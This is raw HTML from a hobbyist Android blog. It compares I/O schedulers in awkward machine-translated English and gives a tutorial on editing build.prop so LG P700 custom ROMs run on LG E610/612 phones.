Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Excellent on multiprocessor systems</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Best performance of the database after the deadline</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Some reported user that the media scanning would take this very very long time and this by the very fair and even distribution of bandwidth on the I / O operations during the boot process is conditioned with the media scanning is not necessarily the highest should have priority</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Jitter (worst case delay) can sometimes be very high because the number of competing with each other process tasks</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">Deadline:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">This scheduler has the goal of reducing I / O wait time of a process of inquiry. This is done using the block numbers of the data on the drive. This also blocks an outlying block numbers are processed, each request receives a maximum delivery time. This is in addition to the Governor BFQ very popular and in many well known kernels, such as the Nexus S Netarchy. He was indeed better than the BFQ, but compared to the VR he will be weaker.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Is nearly a real-time scheduler.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Characterized by reducing the waiting time of each process from - best scheduler for database access and queries.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Bandwidth requirements of a process, eg what percentage does a CPU is easy to calculate.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- As the Governor-noop ideal for flash drives</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- If the system is overloaded, can go a lost set of processes, and is not as easy to predict</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">VR:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Unlike other scheduling software, synchronous and asynchronous requests are not handled separately, but it will impose a fair and balanced within this deadline requests, that the next request to be served is a function of distance from the last request. The VR is a very good scheduler with elements of the deadline scheduler. He will probably be the best for MTD Android devices. He is the one who can make the most of the benchmark points, but he is also an unstable schedulers, because his performance falter. Sometimes they fluctuate below the average, sometimes it fluctuates above the average, but if above, then he is the best.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Is the best scheduler for benchmarks</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Performance variability can lead to different results</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Very often unstable or unzverlässig</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Simple:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">As the name suggests, it is more of a simple or simple scheduler. Especially suitable for EMMC devices. He is reliable, maybe not as good as the VR, when this time has a good day, but he is despite all this very performance-based and does his best. At the moment it is the default scheduler in quasar kernel.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Advantages: - not known</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Cons: - not known</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">Noop:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">The noop scheduler is the simplest of them. He is best suited for storage devices that are not subject to mechanical movements, such as our flash drives in our SGSII's to use to access the data. The advantage is that flash drives do not require rearrangement of the I / O requests, unlike normal hard drives. ie the data that come first are written first. He's basically not a real scheduler, as it leaves the scheduling of the hardware.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Adds all incoming I / O requests in a first-come-who-first-served queue and implements requests with the fewest number of CPU cycles, so also battery friendly</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Is suitable for flash drives because there is no search errors</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Good data throughput on db systems</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Reducing the number of CPU cycles corresponds to a simultaneous decline in performance einhergehendem</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">BFQ:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Instead requests divided into time segments as the CFQ has, on the BFQ budget. The flash drive will be granted an active process until it has exhausted its budget (number of sectors on the flash drive). The awards BFQ high budget does not read tasks.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Has a very good USB data transfer rate.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Be the best scheduler for playback of HD video recording and video streaming (due to less jitter than CFQ Scheduler, and others)</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Regarded as a very precise working Scheduler</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Delivers 30% more throughput than CFQ</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Not the best scheduler for benchmarks - higher budgets that were allocated to a process that can affect the interactivity and bring with it increased latency.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">Anticipatory:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Two important things here are indicative of that event:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Looking on the flash drive is very slow from Equip</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Write operations while at any time are processed, however, be read operations preferred, ie, this scheduler returns the read operations a higher priority than the write operations.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Requests of read accesses are never treated secondarily, that has equally good reading performance on flash drives like the noop</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Requests from process operations are not always available</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Reduced write performance on high-performance hard drives</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: small;">SIO:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">It aims to achieve with minimal effort at a low latency I / O requests. Not a priority to put in queue, instead simply merge the requests. This scheduler is a mix between the noop and deadline. With him there is no conversion or sorting of requests.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Benefits:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- It is simple and stable. - Minimized Starvations (starvation) for inquiries</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">Disadvantages:</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Slow random write speeds on flash drives as opposed to other schedulers. - Sequential read speeds on flash drives, not as good</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">How can I change the governor and scheduler?</b><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">There are two ways to change the governor and schedulers, as well as the settings for the Governorn. Either manually, in which you use a file manager like Root Explorer and then knows how to / sys / devices / system and then change the files to his wishes, provided you what you're doing, or via a graphical interface or by phone as </span><b style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">SetCPU Voltage Control</b><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">. These are the most prominent apps when it comes to adjusting the governor and / or scheduler.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- SetCPU are, besides the possibility of the clock speed of the CPU, setting profiles in certain situations, only to change the way the governor. The scheduler can not change it.</span><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><br style="-webkit-box-shadow: none !important; font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;" /><span style="font-family: Verdana, Arial, Tahoma, Calibri, Geneva, sans-serif; font-size: 13px;">- Voltage control can alter both the governor and the scheduler, but has no way to adjust behavior profiles. While you can set various overclocking, Governor and scheduler profiles manually, but nothing more. Nevertheless, I prefer the VC, since it is simple and gives me the opportunity to change the scheduler.</span></span></div>
-CALIBAN666-http://www.blogger.com/profile/06001167166419031245noreply@blogger.com0tag:blogger.com,1999:blog-6103587872006414296.post-27154725231130244432013-09-12T16:25:00.001+02:002013-10-27T02:43:49.971+01:00(TUTORIAL)FLASH/USE LG-p700 CUSTOM ROMS on LG-e610/612 PHONES!!!<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Here is step by step guide with the steps that im do for have working L7 Roms on my L5-e610 NFC Model,should work for e612 too.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">--------------------------------------------------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Windows method: Succesfully tested with Slimbean,PACman,Paranoid Android,Vanir Weeklies,CM Roms,for roms with Hybrid engine or settings like that you must set dpi there too..</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Whats needet:</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">7zip or something like this</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Notepad++</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">LG Optimus L5 e610/612</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">a Brain</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">--------------------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Lets Start:</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">----------</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">At first download the rom(logical)and be sure you have a kernel for your device and Android Version,when have it extract the zip and look for the build.prop.</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">Open it with Notepad++ and change every line with p700 in it to e610,examples are:</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">when needet ro.build.display.id too.</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">change following lines to e610/612</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.product.model</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.product.device</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;"># ro.build.product is obsolete</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.build.product</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.build.description</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.build.fingerprint</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.cm.device</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">system.prop for</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">"DELETE" "ro.sf.hwrotation=180"</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">change "ro.sf.lcd_density=240" to 150 or 160,what you need.</span><br />
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan;"><br style="font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;" /></span>
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">#ADDITIONAL_BUILD_PROPERTIES</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">#</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.pacrom.version</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.modversion</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">change ro.pa.family=pa_hdpi to pa_mdpi</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.aokp.version</span><br />
<span style="background-color: black; color: cyan; font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; font-size: 13px; line-height: 19px;">ro.cm.version</span><br />
